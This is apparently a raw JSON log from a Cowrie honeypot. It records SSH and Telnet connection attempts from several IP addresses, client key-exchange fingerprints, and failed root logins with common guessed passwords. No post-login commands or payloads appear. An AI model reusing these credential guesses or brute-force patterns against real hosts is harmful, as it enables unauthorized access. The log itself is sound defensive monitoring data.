{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:45.001937Z","src_ip":"91.92.40.176","session":"553e077577c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:46.038810Z","src_ip":"91.92.40.176","session":"553e077577c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:47.252408Z","src_ip":"91.92.40.176","session":"553e077577c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":50166,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a028cece8bd","protocol":"telnet","message":"New connection: 137.184.5.188:50166 (159.203.135.109:23) [session: 3a028cece8bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:41:49.894655Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":52246,"dst_ip":"159.203.135.109","dst_port":23,"session":"d893a6324857","protocol":"telnet","message":"New connection: 137.184.5.188:52246 (159.203.135.109:23) [session: d893a6324857]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:00.544294Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.161.34.59","src_port":16350,"dst_ip":"10.17.0.5","dst_port":22,"session":"53725ea576b2","protocol":"ssh","message":"New connection: 103.161.34.59:16350 (10.17.0.5:22) [session: 53725ea576b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:14.502823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:14.506837Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:14.588736Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:46:ff:01:af:41:17:71:ed:22:b9:92:88:d6:16:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBwnmjMbmpH3Kslql/wiluzKXYuWqcsCxtUChPCvTqB6Es1on/IERD86eKF2nCRGJkMh2Q8SEyeEoshMJyt8ipEZNdj+ubefMbjClAJd8+CAjXGMp9gTc2qn1eImu5Kexd/zl8JE9+g96UWbcdOrTC9kgRMg7Ht33M7jTzPLZPzUwhit0U60pkfRG0JTE8rw/CEa9vF94qEuZSK3xa6X+Zl1VflZaQJNhbfvBXPB9mRSedkTu43IM96U9A4OV4lCjvaWTehiihWDFtfb6FAp//K9QSU8/oUWiZwOyShgaJYqoQ/p0NGVHBb686oV1LuwWXoB3BEFZScqzLcbYUkQsR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:46:ff:01:af:41:17:71:ed:22:b9:92:88:d6:16:c4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:14.978045Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:46:ff:01:af:41:17:71:ed:22:b9:92:88:d6:16:c4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBwnmjMbmpH3Kslql/wiluzKXYuWqcsCxtUChPCvTqB6Es1on/IERD86eKF2nCRGJkMh2Q8SEyeEoshMJyt8ipEZNdj+ubefMbjClAJd8+CAjXGMp9gTc2qn1eImu5Kexd/zl8JE9+g96UWbcdOrTC9kgRMg7Ht33M7jTzPLZPzUwhit0U60pkfRG0JTE8rw/CEa9vF94qEuZSK3xa6X+Zl1VflZaQJNhbfvBXPB9mRSedkTu43IM96U9A4OV4lCjvaWTehiihWDFtfb6FAp//K9QSU8/oUWiZwOyShgaJYqoQ/p0NGVHBb686oV1LuwWXoB3BEFZScqzLcbYUkQsR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:14.981174Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:4a:57:8c:76:d1:bb:fd:49:78:21:20:f7:28:6b:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0mT8kdfLarMoqWWD+VqxXcpAvR3LsaEp7tI7WQ97S9Q3E2Yi4mtDh14bPMOHFKhMG/BhYXXmTGJ5HGbL2cnU3I6QzcRp0a59eSCPHx60baU5E1ZooQdmBZi+rkGv7dQgOhBRcI3sKf79S87Vr2kGKHGDOFgXknHuE0oP5LqONGy4AhxXRDUq+oZzJ6FUbXaxDOb18JExf492hUhvkxTjTUljD6k7p0BhIK9yFfhAB+wkf4eUBtBCS/YTUn3qHoH0nHxbt7u0OAyf/vQC6FRHbZIrlIySBTLcAYu2PpRO8sB5B0oqnCLxe0zD3P8FSs0ETspXyX7E4VbZGsfgnzDa9Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:4a:57:8c:76:d1:bb:fd:49:78:21:20:f7:28:6b:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:15.063899Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:4a:57:8c:76:d1:bb:fd:49:78:21:20:f7:28:6b:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0mT8kdfLarMoqWWD+VqxXcpAvR3LsaEp7tI7WQ97S9Q3E2Yi4mtDh14bPMOHFKhMG/BhYXXmTGJ5HGbL2cnU3I6QzcRp0a59eSCPHx60baU5E1ZooQdmBZi+rkGv7dQgOhBRcI3sKf79S87Vr2kGKHGDOFgXknHuE0oP5LqONGy4AhxXRDUq+oZzJ6FUbXaxDOb18JExf492hUhvkxTjTUljD6k7p0BhIK9yFfhAB+wkf4eUBtBCS/YTUn3qHoH0nHxbt7u0OAyf/vQC6FRHbZIrlIySBTLcAYu2PpRO8sB5B0oqnCLxe0zD3P8FSs0ETspXyX7E4VbZGsfgnzDa9Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:15.066895Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"31:7e:00:98:4b:43:bb:82:59:a9:d0:70:66:69:fa:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuZ9s3tn0UjZHichztAC+2T3TdSgs75D/DZ2Fwa7EN0niu8qFcT0JmpqRoWFPc35Pv3c2nAZbqNtkfyf/E7rTAMW0D/Zqlb0SubzaaP+5bWGGlwDSj4h4JJR5lqe33XNFbeRJuwZAQfVWMVwJ4UNAUMl63ukvMQKCnm1JEw6p7usH+kpt85X+akmS5rrWug+jN+jFSLScuX011zkn798eca7m+k5xHjFePx99tq+MsxprQ24DmuiR9ikSnxyn7ggOTkS2mcL7aH0nV//Nsyk3fpwgTvEz3rZ0q1d/wF6CfbpNJCkAQW6P3rMZDcOMNzXroSIDUfpdtf+EuX377RV5b","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 31:7e:00:98:4b:43:bb:82:59:a9:d0:70:66:69:fa:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:15.149874Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"31:7e:00:98:4b:43:bb:82:59:a9:d0:70:66:69:fa:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDuZ9s3tn0UjZHichztAC+2T3TdSgs75D/DZ2Fwa7EN0niu8qFcT0JmpqRoWFPc35Pv3c2nAZbqNtkfyf/E7rTAMW0D/Zqlb0SubzaaP+5bWGGlwDSj4h4JJR5lqe33XNFbeRJuwZAQfVWMVwJ4UNAUMl63ukvMQKCnm1JEw6p7usH+kpt85X+akmS5rrWug+jN+jFSLScuX011zkn798eca7m+k5xHjFePx99tq+MsxprQ24DmuiR9ikSnxyn7ggOTkS2mcL7aH0nV//Nsyk3fpwgTvEz3rZ0q1d/wF6CfbpNJCkAQW6P3rMZDcOMNzXroSIDUfpdtf+EuX377RV5b","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:15.152725Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:8b:ed:9d:94:f4:fb:05:ae:ea:a8:60:45:90:10:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8wH0+tltcl1FwzZdl9KW3WtOASGLeIrUFHALNRjHQ1h+MRzU40nufBh/M1BC0iXiz1o0jXV09r/zKgtYgljyhjPqHcxDdCLpCR3A1ceoR2kVXfWaqsvsaK7KiXzyckGrRlu3q792/7lDGHidqZwWPcctjfnNFx/EGhAJtUINFlZFdd4JefNGOo6QOxCwtMXDy7f9PdK6ZRuZ5nRPYsnq6T/ZKFTqqiYr/TbRPJ0DNfnzK9W3pkVb1GpBtZQLUQ2XEQ8xn+UgkKgHYNidoSVkmIb/uxVOvQj0a4pGp0G9nDwiVM2wXe1DOudWTQsMfIBPlGqKVC61I0kQeYwVdh6U6w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:8b:ed:9d:94:f4:fb:05:ae:ea:a8:60:45:90:10:47","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:15.234665Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:8b:ed:9d:94:f4:fb:05:ae:ea:a8:60:45:90:10:47","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA8wH0+tltcl1FwzZdl9KW3WtOASGLeIrUFHALNRjHQ1h+MRzU40nufBh/M1BC0iXiz1o0jXV09r/zKgtYgljyhjPqHcxDdCLpCR3A1ceoR2kVXfWaqsvsaK7KiXzyckGrRlu3q792/7lDGHidqZwWPcctjfnNFx/EGhAJtUINFlZFdd4JefNGOo6QOxCwtMXDy7f9PdK6ZRuZ5nRPYsnq6T/ZKFTqqiYr/TbRPJ0DNfnzK9W3pkVb1GpBtZQLUQ2XEQ8xn+UgkKgHYNidoSVkmIb/uxVOvQj0a4pGp0G9nDwiVM2wXe1DOudWTQsMfIBPlGqKVC61I0kQeYwVdh6U6w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:15.237336Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"57:93:be:88:4c:14:bf:72:50:f2:4b:d4:7f:7a:97:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1k+L1+KGXmO54mphAvxGjUiYXZorSUASqjaXV/i3ZG4mT9tO1YxM5fOR/jodgKBp3AXdjUrhbS+/jD+ShLBb8Nx1DhicbsNP0700VStfbuG6wa1vET5GuDR4i4WTCo+j/Amp0pbIhpK5TUsgSUZekpYF/HQP8yf/RX8XQhTBTYMLzGIn7q2hSJ+b1uCixJkWZEOQvcDEeBTHNOL/L7tqsEJDbxKoXetI2Q1OPVatFW9z7txDV6+d4uYeWwG1BgSGGu8DG5aGwk54Pv3BRKYlKT1AQPPakiqDeBEfN+wUjRnMfD3NmKumTxZ8ZZSEfKW/wuBNOcvjOR8Gl0SsumZ9nXwjQ0BiXLkKAM6NVn2AkVsP7+gkKj/jl596gKcHTODxdVRIy68I8DYKlypAlhlDmjAnFBJT5+yE5bVPuKGEzEspsuT2ca9OVb7Bxu2aW7ofQgSpqdFAM050R5HNdfihobdMITA6VPAHCkMXD7bqW+OeB8ARLggB3UGtZwLmeofza6XC1Qh8stYtKW8vqKJWFU7ioXQfScsAD8+0iNFDOStMQVfpJVojXdXryG9czDL0L7excEFpoi/m6ZUOYwGcCG7UfCSSl3DEq2zJmsRZ2y8QiN7QBtqAyBTgaIge+cNQb+9Okm5MWi1ib79JHfWIdeD4WioQICip5zoBJ883CxQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 57:93:be:88:4c:14:bf:72:50:f2:4b:d4:7f:7a:97:88","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:15.320299Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"57:93:be:88:4c:14:bf:72:50:f2:4b:d4:7f:7a:97:88","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC1k+L1+KGXmO54mphAvxGjUiYXZorSUASqjaXV/i3ZG4mT9tO1YxM5fOR/jodgKBp3AXdjUrhbS+/jD+ShLBb8Nx1DhicbsNP0700VStfbuG6wa1vET5GuDR4i4WTCo+j/Amp0pbIhpK5TUsgSUZekpYF/HQP8yf/RX8XQhTBTYMLzGIn7q2hSJ+b1uCixJkWZEOQvcDEeBTHNOL/L7tqsEJDbxKoXetI2Q1OPVatFW9z7txDV6+d4uYeWwG1BgSGGu8DG5aGwk54Pv3BRKYlKT1AQPPakiqDeBEfN+wUjRnMfD3NmKumTxZ8ZZSEfKW/wuBNOcvjOR8Gl0SsumZ9nXwjQ0BiXLkKAM6NVn2AkVsP7+gkKj/jl596gKcHTODxdVRIy68I8DYKlypAlhlDmjAnFBJT5+yE5bVPuKGEzEspsuT2ca9OVb7Bxu2aW7ofQgSpqdFAM050R5HNdfihobdMITA6VPAHCkMXD7bqW+OeB8ARLggB3UGtZwLmeofza6XC1Qh8stYtKW8vqKJWFU7ioXQfScsAD8+0iNFDOStMQVfpJVojXdXryG9czDL0L7excEFpoi/m6ZUOYwGcCG7UfCSSl3DEq2zJmsRZ2y8QiN7QBtqAyBTgaIge+cNQb+9Okm5MWi1ib79JHfWIdeD4WioQICip5zoBJ883CxQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:15.323298Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:15.405956Z","src_ip":"103.161.34.59","session":"53725ea576b2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":39486,"dst_ip":"159.203.135.109","dst_port":22,"session":"048dc392cef6","protocol":"ssh","message":"New connection: 176.32.39.21:39486 (159.203.135.109:22) [session: 048dc392cef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:49.383309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:49.387050Z","src_ip":"176.32.39.21","session":"048dc392cef6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:49.503821Z","src_ip":"176.32.39.21","session":"048dc392cef6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"120377","message":"login attempt [root/120377] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:49.849591Z","src_ip":"176.32.39.21","session":"048dc392cef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:42:50.967269Z","src_ip":"176.32.39.21","session":"048dc392cef6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":62.320637464523315,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:43:02.864740Z","src_ip":"137.184.5.188","session":"d893a6324857","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":80.58308386802673,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:43:10.477634Z","src_ip":"137.184.5.188","session":"3a028cece8bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33298,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e43e2ab68d","protocol":"telnet","message":"New connection: 170.64.224.25:33298 (159.203.135.109:23) [session: 98e43e2ab68d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:43:37.833835Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":39098,"dst_ip":"10.17.0.5","dst_port":22,"session":"53cfb3447f5c","protocol":"ssh","message":"New connection: 91.92.40.176:39098 (10.17.0.5:22) [session: 53cfb3447f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:43:39.458305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:43:39.521941Z","src_ip":"91.92.40.176","session":"53cfb3447f5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:43:39.589848Z","src_ip":"91.92.40.176","session":"53cfb3447f5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd","message":"login attempt [root/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:43:40.531112Z","src_ip":"91.92.40.176","session":"53cfb3447f5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:43:41.781202Z","src_ip":"91.92.40.176","session":"53cfb3447f5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56684,"dst_ip":"159.203.135.109","dst_port":23,"session":"2d79862502ee","protocol":"telnet","message":"New connection: 137.184.5.188:56684 (159.203.135.109:23) [session: 2d79862502ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:12.364601Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.192.25.149","src_port":41194,"dst_ip":"159.203.135.109","dst_port":22,"session":"120f09c6c7cc","protocol":"ssh","message":"New connection: 199.192.25.149:41194 (159.203.135.109:22) [session: 120f09c6c7cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:21.836594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T12:44:21.838653Z","src_ip":"199.192.25.149","session":"120f09c6c7cc","protocol":"ssh"}
